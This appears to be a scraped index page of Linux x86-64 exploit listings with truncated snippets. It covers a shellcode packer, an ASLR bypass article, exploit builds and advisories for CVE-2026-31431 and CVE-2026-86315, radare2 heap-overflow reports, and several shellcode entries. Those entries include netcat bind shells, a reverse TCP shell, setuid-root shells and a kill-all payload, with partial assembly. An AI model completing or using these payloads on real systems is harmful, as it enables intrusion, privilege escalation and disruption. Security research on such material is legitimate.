monomorph

════════════════════════════════════╦═══ ╔═╦═╗ ╔═╗ ╔═╗ ╔═╗ ╔═╦═╗ ╔═╗ ╔══╔═╗ ╠═╗ ═╩ ╩ ╩═╚═╝═╩ ╩═╚═╝═╩ ╩ ╩═╚═╝═╩ ╠═╝═╩ ╩═ ════════════════════════════════╩═══════ By Retr0id ═══ MD5-Monomorphic Shellcode Packer ═══ USAGE: python3 monomorph.py inputfile outputfile payloadfile What does it do? It pac...

how-to-bypass-aslr-on-linux-x86_64

Breaking 64 bit aslr on Linux x86-64 In this article, I'll discuss about the application of the technique described by Samuel Groß in his Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, to bypass ASLR on Linux x8664. To show this I'm gonna solve a...

CVE-2026-31431

Description: Cfail is my implementation in C++ x86-64 Assembly of CVE-2026-31431 aka Copyfail, with no dependecy required at all, included libc. In fact, you obtain am universal executable able to run stand-alone on every Linux x86-64 distribution, thanks to a minimal implementation of the standa...

CVE-2026-31431

CVE-2026-31431 Стандартный бинарник CopyFail Получайте все новые CVE-оповещения на https://exploitroom.com mail :: /Desktop/CVE-2026 » file exploit: ELF 64-bit LSB executable, x86-64, version 1 GNU/Linux, statically linked, BuildIDsha1=9454dbdde0ac2d1a8981c06db89f24a4753ec3b7, for GNU/Linux 3.2.0...

CVE-2026-86315

An out-of-bounds write caused by numeric truncation Samsung Open Source Escargot on Linux x86-64 allows an attacker who can supply JavaScript for execution to corrupt native memory and crash the host process via a crafted class definition whose instance initialization entry count exceeds UINT16MA...

CVE-2026-86315: Numeric Truncation Error

An out-of-bounds write caused by numeric truncation Samsung Open Source Escargot on Linux x86-64 allows an attacker who can supply JavaScript for execution to corrupt native memory and crash the host process via a crafted class definition whose instance initialization entry count exceeds UINT16MA...

Linux Distros Unpatched Vulnerability : CVE-2026-86315

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An out-of-bounds write caused by numeric truncation Samsung Open Source Escargot on Linux x86-64 allows an attacker who can supply JavaScript for execution to...

Heap-based Buffer Overflow

Description heap-buffer-overflow p/bf/plugin.c:176 in decode Environment radare2 5.8.9 31000 @ linux-x86-64 commit: 95b648f0907e91e10d55fc48147a7dae99029c5b Build export CC=gcc CXX=g++ CFLAGS="-fsanitize=address -static-libasan" CXXFLAGS="-fsanitize=address -static-libasan"...

Monomorph - MD5-Monomorphic Shellcode Packer - All Payloads Have The Same MD5 Hash

════════════════════════════════════╦═══ ╔═╦═╗ ╔═╗ ╔═╗ ╔═╗ ╔═╦═╗ ╔═╗ ╔══╔═╗ ╠═╗ ═╩ ╩ ╩═╚═╝═╩ ╩═╚═╝═╩ ╩ ╩═╚═╝═╩ ╠═╝═╩ ╩═ ════════════════════════════════╩═══════ By Retr0id ═══ MD5-Monomorphic Shellcode Packer ═ ══ USAGE: python3 monomorph.py inputfile outputfile payloadfile What does it do? It...

Heap-based Buffer Overflow

Description Heap-based Buffer Overflow in msp430op Environment radare2 5.6.9 0 @ linux-x86-64 git. commit: 5.6.9 build: 2022-05-0112:17:49 Build export CC=gcc CXX=g++ CFLAGS="-fsanitize=address -static-libasan" CXXFLAGS="-fsanitize=address -static-libasan" LDFLAGS="-fsanitize=address...

Heap-based Buffer Overflow

Description Heap-based Buffer Overflow in rreadle32 Environment radare2 5.6.7 0 @ linux-x86-64 git. commit: 5.6.7 build: 2022-04-1215:06:26 Build export CC=gcc CXX=g++ CFLAGS="-fsanitize=address -static-libasan" CXXFLAGS="-fsanitize=address -static-libasan" LDFLAGS="-fsanitize=address...

Linux/x86-64 - Bind TCP (1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (131 bytes)

; Title: Shellcode linux/x86-64 bind-shell with netcat ; Author : Gaussillusion ; Len : 131 bytes ; Language : Nasm BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr rdi,0x08 push rdi mov rdi,rsp mov rcx,0x68732f6e69622fff shr rcx,0x08 push rcx mov rcx,rsp mov rbx,0x652dffffffffffff shr rbx,0x30...

Linux/x86-64 - sethostname(Rooted !) + killall Shellcode (33 bytes)

Linux/x8664 sethostname & killall 33 bytes shellcode Date: 2010-04-26 Author: zbt Tested on: x8664 Debian GNU/Linux / ; sethostname"Rooted !"; ; kill-1, SIGKILL; section .text global start start: ;-- setHostName"Rooted !"; 22 bytes --; mov al, 0xaa mov r8, 'Rooted !' push r8 mov rdi, rsp mov sil,...

Linux/x86-64 - setreuid(0,0) + execve(/bin/ksh, [/bin/ksh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - setreuid(0,0) + execve(/bin/zsh, [/bin/zsh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - setreuid(0,0) + execve(/bin/csh, [/bin/csh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - Reverse TCP (192.168.1.10:31337/TCP) Shell Shellcode (118 bytes)

/ Title : reversetcpbindshell 118 bytes Date : 04 October 2013 Author : Russell Willis Testd on: Linux/x8664 SMP Debian 3.2.46-1+deb7u1 x8664 GNU/Linux $ objdump -D reversetcpbindshell -M intel reversetcpbindshell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080: ...

Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)

Linux/x86-64 - Execute /bin/sh Shellcode 24 bytes. Shellcode exploit for Linuxx86-64 platform / global start section .text start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall / include include char code =...

Linux/x86-64 - execve(/bin/sh) Shellcode (31 bytes)

Hi, This time I wanna to submit a shellcode whose length is 31Bytes , It's tested on Linux x86-64 ;=========================================================== ===================== ; The MIT License ; ; Copyright c ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ;...

Linux/x86-64 - Reverse Shell Shellcode (84 bytes)

Linux/x86-64 - Reverse Shell Shellcode 84 bytes. Shellcode exploit for Linux platform / Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes Author: Manuel Mancera @sinkmanu Tested on: 3.16.0-4-amd64 1 SMP Debian 3.16.39-1 2016-12-30 x8664 GNU/Linux ----------------- Assembly code...